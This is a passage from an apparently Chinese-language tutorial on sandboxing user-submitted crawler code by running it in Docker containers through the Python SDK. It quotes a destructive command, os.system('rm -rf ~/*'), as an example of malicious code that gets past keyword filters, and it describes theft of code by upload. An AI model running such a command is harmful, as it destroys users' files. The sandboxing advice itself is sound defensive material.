        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python